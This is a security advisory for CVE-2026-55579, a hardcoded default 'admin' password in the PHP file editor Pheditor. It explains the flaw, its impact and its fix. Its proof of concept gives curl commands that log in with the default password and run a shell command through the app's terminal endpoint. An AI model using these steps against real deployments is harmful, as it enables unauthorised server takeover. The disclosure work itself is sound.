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9.8

CVE-2026-55579: Pheditor: Using default 'admin' password allows full application access

GHSA-p4h7-p9rj-2pq2 CVE-2026-55579
Summary

Pheditor's default 'admin' password is hardcoded and cannot be changed. This allows attackers to access the entire application, including file editing, uploading, and executing code. To fix this, change the default password and ensure users update their credentials.

What to do
  • Update pheditor pheditor to version 2.0.6.
Affected software
Ecosystem VendorProductAffected versions
composer pheditor pheditor >= 2.0.1, < 2.0.6
Fix: upgrade to 2.0.6
Original title
Pheditor: Hardcoded default password 'admin' with no forced change enables full application compromise
Original description
### Summary

Pheditor ships with a hardcoded default password `admin` (SHA-512 hash stored at `pheditor.php:11`). There is no mechanism to force a password change on first login. Any deployment using the default credentials grants an attacker full access to the file editor, file upload, and terminal features, enabling arbitrary file read/write and remote code execution.

### Details

Tested repository: https://github.com/pheditor/pheditor

Tested commit: `e538f05b6faec99e5b23726bc9c17d6b57774297` (current HEAD on `main`)

Affected version: All versions of Pheditor

The password is hardcoded at `pheditor.php:11`:

```php
define('PASSWORD', 'c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec');
```

This is the SHA-512 hash of the string `admin`:
```bash
echo -n 'admin' | sha512sum
c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec
```

The application displays a warning banner at `pheditor.php:1956-1958` when the default password is in use, but this is only visual — there is no forced password change, no expiry, no lockout, and no setup wizard. Many deployments run with the default indefinitely.

The password hash is stored as unsalted SHA-512 in the source code. The password change feature (lines 363-391) writes the new hash directly into the PHP source file, meaning anyone with read access to the source can extract it.

**Combined impact:** With the default password, an unauthenticated attacker can authenticate and exploit the terminal RCE and file upload vulnerabilities for immediate server compromise.

### PoC

**Environment:** Any system running Pheditor with default configuration.

**Setup:**
```bash
git clone https://github.com/pheditor/pheditor /tmp/pheditor-test
cd /tmp/pheditor-test
php -S localhost:8080 pheditor.php &
```

**Positive trigger — authenticate with default password:**
```bash
curl -s -c /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \
-d "pheditor_password=admin" -L -o /dev/null -w "%{http_code}"
```
Expected: `200` — successful authentication with the default password `admin`.

**Verify full access:**
```bash
TOKEN=$(curl -s -b /tmp/cookies.txt http://localhost:8080/pheditor.php | \
grep -o 'token = "[a-f0-9]*"' | grep -o '"[a-f0-9]*"' | tr -d '"')
curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \
--data-urlencode "action=terminal" \
--data-urlencode "token=$TOKEN" \
--data-urlencode 'command=echo `id`' \
--data-urlencode "dir="
```
Expected: `id` output showing web server user — proves full system access through default credentials combined with terminal RCE.

**Control (wrong password):**
```bash
curl -s -X POST http://localhost:8080/pheditor.php \
-d "pheditor_password=wrongpassword" | grep -o 'not correct'
```
Expected: `not correct` — authentication logic works but default password is trivially guessable.

**Cleanup:**
```bash
kill %1; rm -rf /tmp/pheditor-test /tmp/cookies.txt
```

### Impact

Use of Hard-coded Credentials (CWE-798). The default password `admin` is publicly documented in the source code, trivially guessable, and there is no mechanism to force a password change on first login. This effectively grants unauthenticated remote attackers full administrator access to the application.

**Attacker privileges:** Unauthenticated remote attacker (PR:N).

**Security boundary crossed:** Unauthenticated → fully authenticated administrator.

**Confidentiality impact:** High — read all files within MAIN_DIR and beyond (via terminal).

**Integrity impact:** High — write/delete files, upload webshells, modify application code, execute arbitrary commands.

**Availability impact:** High — delete files and directories, disrupt services.

**Suggested remediation:**
1. Remove the default password — require user to set a password during installation.
2. Add a setup wizard that forces password creation on first access.
3. Add a forced password change on first login with default credentials.
4. Use `password_hash()` / `password_verify()` with `PASSWORD_BCRYPT` instead of raw SHA-512.

### Credits
- Thai Son Dinh from VinSOC Labs (R&D)
ghsa CVSS3.1 9.8
Vulnerability type
CWE-798 Use of Hard-coded Credentials
Published: 16 Jul 2026 · Updated: 16 Jul 2026 · First seen: 16 Jul 2026